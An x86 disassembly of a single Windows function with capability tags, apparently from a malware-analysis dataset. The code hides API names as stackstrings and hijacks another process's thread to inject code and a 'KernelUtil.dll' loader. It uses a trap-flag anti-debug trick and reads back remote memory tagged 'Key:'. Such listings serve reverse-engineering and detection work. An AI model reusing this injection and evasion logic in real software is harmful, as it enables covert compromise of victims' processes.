Function at 0x4044f0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407aa2
mov eax, dword fs:[0]
push eax
mov eax, 0x1140
call fcn.00407540
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x100c], 0
push 0x2c8
push 0
lea eax, [ebp - 0x1008]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 0x1038], 0
call fcn.00404490
mov dword [ebp - 0x268], eax
mov byte [ebp - 0xd0c], 0x4f
mov byte [ebp - 0xd0b], 0x70
mov byte [ebp - 0xd0a], 0x65
mov byte [ebp - 0xd09], 0x6e
mov byte [ebp - 0xd08], 0x50
mov byte [ebp - 0xd07], 0x72
mov byte [ebp - 0xd06], 0x6f
mov byte [ebp - 0xd05], 0x63
mov byte [ebp - 0xd04], 0x65
mov byte [ebp - 0xd03], 0x73
mov byte [ebp - 0xd02], 0x73
mov byte [ebp - 0xd01], 0
mov byte [ebp - 0x48], 0x4f
mov byte [ebp - 0x47], 0x70
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x6e
mov byte [ebp - 0x44], 0x54
mov byte [ebp - 0x43], 0x68
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x61
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0
mov byte [ebp - 0x1034], 0x56
mov byte [ebp - 0x1033], 0x69
mov byte [ebp - 0x1032], 0x72
mov byte [ebp - 0x1031], 0x74
mov byte [ebp - 0x1030], 0x75
mov byte [ebp - 0x102f], 0x61
mov byte [ebp - 0x102e], 0x6c
mov byte [ebp - 0x102d], 0x41
mov byte [ebp - 0x102c], 0x6c
mov byte [ebp - 0x102b], 0x6c
mov byte [ebp - 0x102a], 0x6f
mov byte [ebp - 0x1029], 0x63
mov byte [ebp - 0x1028], 0x45
mov byte [ebp - 0x1027], 0x78
mov byte [ebp - 0x1026], 0
mov byte [ebp - 0xcac], 0x53
mov byte [ebp - 0xcab], 0x65
mov byte [ebp - 0xcaa], 0x74
mov byte [ebp - 0xca9], 0x54
mov byte [ebp - 0xca8], 0x68
mov byte [ebp - 0xca7], 0x72
mov byte [ebp - 0xca6], 0x65
mov byte [ebp - 0xca5], 0x61
mov byte [ebp - 0xca4], 0x64
mov byte [ebp - 0xca3], 0x43
mov byte [ebp - 0xca2], 0x6f
mov byte [ebp - 0xca1], 0x6e
mov byte [ebp - 0xca0], 0x74
mov byte [ebp - 0xc9f], 0x65
mov byte [ebp - 0xc9e], 0x78
mov byte [ebp - 0xc9d], 0x74
mov byte [ebp - 0xc9c], 0
mov byte [ebp - 0xd3c], 0x47
mov byte [ebp - 0xd3b], 0x65
mov byte [ebp - 0xd3a], 0x74
mov byte [ebp - 0xd39], 0x54
mov byte [ebp - 0xd38], 0x68
mov byte [ebp - 0xd37], 0x72
mov byte [ebp - 0xd36], 0x65
mov byte [ebp - 0xd35], 0x61
mov byte [ebp - 0xd34], 0x64
mov byte [ebp - 0xd33], 0x43
mov byte [ebp - 0xd32], 0x6f
mov byte [ebp - 0xd31], 0x6e
mov byte [ebp - 0xd30], 0x74
mov byte [ebp - 0xd2f], 0x65
mov byte [ebp - 0xd2e], 0x78
mov byte [ebp - 0xd2d], 0x74
mov byte [ebp - 0xd2c], 0
mov byte [ebp - 0x1024], 0x47
mov byte [ebp - 0x1023], 0x65
mov byte [ebp - 0x1022], 0x74
mov byte [ebp - 0x1021], 0x4d
mov byte [ebp - 0x1020], 0x6f
mov byte [ebp - 0x101f], 0x64
mov byte [ebp - 0x101e], 0x75
mov byte [ebp - 0x101d], 0x6c
mov byte [ebp - 0x101c], 0x65
mov byte [ebp - 0x101b], 0x48
mov byte [ebp - 0x101a], 0x61
mov byte [ebp - 0x1019], 0x6e
mov byte [ebp - 0x1018], 0x64
mov byte [ebp - 0x1017], 0x6c
mov byte [ebp - 0x1016], 0x65
mov byte [ebp - 0x1015], 0x41
mov byte [ebp - 0x1014], 0
mov byte [ebp - 0xc88], 0x47
mov byte [ebp - 0xc87], 0x65
mov byte [ebp - 0xc86], 0x74
mov byte [ebp - 0xc85], 0x50
mov byte [ebp - 0xc84], 0x72
mov byte [ebp - 0xc83], 0x6f
mov byte [ebp - 0xc82], 0x63
mov byte [ebp - 0xc81], 0x41
mov byte [ebp - 0xc80], 0x64
mov byte [ebp - 0xc7f], 0x64
mov byte [ebp - 0xc7e], 0x72
mov byte [ebp - 0xc7d], 0x65
mov byte [ebp - 0xc7c], 0x73
mov byte [ebp - 0xc7b], 0x73
mov byte [ebp - 0xc7a], 0
mov byte [ebp - 0xc78], 0x57
mov byte [ebp - 0xc77], 0x72
mov byte [ebp - 0xc76], 0x69
mov byte [ebp - 0xc75], 0x74
mov byte [ebp - 0xc74], 0x65
mov byte [ebp - 0xc73], 0x50
mov byte [ebp - 0xc72], 0x72
mov byte [ebp - 0xc71], 0x6f
mov byte [ebp - 0xc70], 0x63
mov byte [ebp - 0xc6f], 0x65
mov byte [ebp - 0xc6e], 0x73
mov byte [ebp - 0xc6d], 0x73
mov byte [ebp - 0xc6c], 0x4d
mov byte [ebp - 0xc6b], 0x65
mov byte [ebp - 0xc6a], 0x6d
mov byte [ebp - 0xc69], 0x6f
mov byte [ebp - 0xc68], 0x72
mov byte [ebp - 0xc67], 0x79
mov byte [ebp - 0xc66], 0
lea ecx, [ebp - 0xd0c]
push ecx
mov edx, dword [ebp - 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x268]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xd00], eax
lea edx, [ebp - 0x1034]
push edx
mov eax, dword [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x67c], eax
lea ecx, [ebp - 0xc78]
push ecx
mov edx, dword [ebp - 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x794], eax
lea eax, [ebp - 0xcac]
push eax
mov ecx, dword [ebp - 0x268]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xcdc], eax
lea edx, [ebp - 0xd3c]
push edx
mov eax, dword [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x100c], 0x1003f
cmp dword [0x40b8c4], 0
jne 0x40494f
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [ebp - 0x3c]
mov dword [0x40b8c4], eax
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0x1fffff
call dword [ebp - 0xd00]
mov dword [ebp - 0xd28], eax
cmp dword [0x40b8c0], 0
jne 0x404990
push 0x40
push 0x3000
mov eax, dword [0x40b350]
push eax
push 0
mov ecx, dword [0x40b8c4]
push ecx
call dword [ebp - 0x67c]
mov dword [0x40b8c0], eax
lea edx, [ebp - 0x1024]
push edx
mov eax, dword [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc64], eax
lea ecx, [ebp - 0xc88]
push ecx
mov edx, dword [ebp - 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xcf4], eax
mov eax, dword [ebp - 0xd28]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [ebp - 0x100c]
push ecx
mov edx, dword [ebp - 0xd28]
push edx
call dword [ebp - 0x678]
mov eax, dword [ebp - 0xf54]
mov dword [ebp - 0x1038], eax
mov ecx, dword [0x40b8c0]
mov dword [ebp - 0xd24], ecx
mov edx, dword [0x40b350]
shr edx, 1
add edx, dword [0x40b8c0]
mov dword [ebp - 0x790], edx
mov eax, dword [0x40b350]
shr eax, 1
mov ecx, dword [0x40b8c0]
lea edx, [ecx + eax + 0xf]
mov dword [ebp - 0x1010], edx
mov eax, dword [0x40b350]
shr eax, 1
mov ecx, dword [0x40b8c0]
lea edx, [ecx + eax + 0x3f]
mov dword [ebp - 0x674], edx
mov eax, dword [0x40b350]
shr eax, 2
add eax, dword [0x40b8c0]
mov dword [ebp - 0xc8c], eax
mov ecx, dword [0x40b350]
shr ecx, 1
mov edx, dword [0x40b8c0]
lea eax, [edx + ecx + 0x5c]
mov dword [ebp - 0xcd8], eax
mov ecx, dword [ebp - 0x790]
mov dword [0x40b489], ecx
mov edx, dword [ebp - 0xc64]
mov dword [str.____], edx
mov eax, dword [ebp - 0x1010]
mov dword [0x40b495], eax
mov ecx, dword [ebp - 0xcf4]
mov dword [str.DDDD], ecx
mov edx, dword [ebp - 0x674]
mov dword [0x40b4a2], edx
mov eax, dword [ebp - 0xc8c]
mov dword [0x40b4a7], eax
mov ecx, dword [ebp - 0x790]
mov dword [0x40b4b0], ecx
mov edx, dword [ebp - 0xc64]
mov dword [0x40b4b5], edx
mov eax, dword [ebp - 0xcd8]
mov dword [0x40b4bc], eax
mov ecx, dword [ebp - 0xcf4]
mov dword [0x40b4c2], ecx
mov edx, dword [ebp - 0xd24]
mov dword [0x40b4ce], edx
mov eax, dword [ebp - 0x1038]
mov dword [0x40b4d5], eax
push 0
push 0x52
push 0x40b488
mov ecx, dword [0x40b8c0]
push ecx
mov edx, dword [0x40b8c4]
push edx
call dword [ebp - 0x794]
push ss
pop ss
pushfd
test byte [esp + 1], 1
jne 0x404b29
jmp 0x404b2e
call fcn.00404b20
popfd
push 0
push 0x7c
push str.KernelUtil.dll
mov eax, dword [0x40b350]
shr eax, 1
add eax, dword [0x40b8c0]
push eax
mov ecx, dword [0x40b8c4]
push ecx
call dword [ebp - 0x794]
mov edx, dword [0x40b8c0]
mov dword [ebp - 0xf54], edx
mov dword [ebp - 0xc98], 0
lea eax, [ebp - 0xc98]
push eax
push 0x10
push 0x1000
mov ecx, dword [0x40b8c0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp - 0x100c]
push edx
mov eax, dword [ebp - 0xd28]
push eax
call dword [ebp - 0xcdc]
mov ecx, dword [ebp - 0xd28]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc94], 0
mov dword [ebp - 0x670], 0
mov dword [ebp - 0xcfc], 0
xor edx, edx
mov word [ebp - 0x264], dx
push 0x102
push 0
lea eax, [ebp - 0x262]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x66c], cx
push 0x3fe
push 0
lea edx, [ebp - 0x66a]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0xcfc]
push eax
mov ecx, dword [ebp - 0xc98]
push ecx
push 0x1000
mov edx, dword [0x40b8c0]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 4
lea eax, [ebp - 0x670]
push eax
mov ecx, dword [0x40b350]
shr ecx, 2
add ecx, dword [0x40b8c0]
push ecx
mov edx, dword [0x40b8c4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0x80
lea eax, [ebp - 0x264]
push eax
mov ecx, dword [ebp - 0x670]
push ecx
mov edx, dword [0x40b8c4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 4
lea eax, [ebp - 0xc94]
push eax
mov ecx, dword [0x40b8c0]
push ecx
mov edx, dword [0x40b8c4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, 0x408570
lea ecx, [ebp - 0x66c]
call fcn.00405b50
mov eax, dword [ebp - 0xc94]
xor ecx, ecx
push ecx
push eax
lea esi, [ebp - 0x2c]
call fcn.00403fd0
add esp, 8
mov dword [ebp - 0x111c], eax
mov eax, dword [ebp - 0x111c]
call fcn.004056d0
lea ecx, [ebp - 0x66c]
call fcn.00405b70
lea esi, [ebp - 0x2c]
call fcn.004056a0
mov eax, str._Key:
lea ecx, [ebp - 0x66c]
call fcn.00405b70
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x66c]
call fcn.00405b70
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x66c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0xd20], eax
mov eax, dword [ebp - 0xd20]
push eax
call fcn.00406b9c
add esp, 4
mov dword [ebp - 0x103c], eax
mov ecx, dword [ebp - 0x103c]
mov dword [ebp - 0xc60], ecx
push 0
push 0
mov edx, dword [ebp - 0xd20]
push edx
mov eax, dword [ebp - 0xc60]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x66c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
pushal
call fcn.00404d79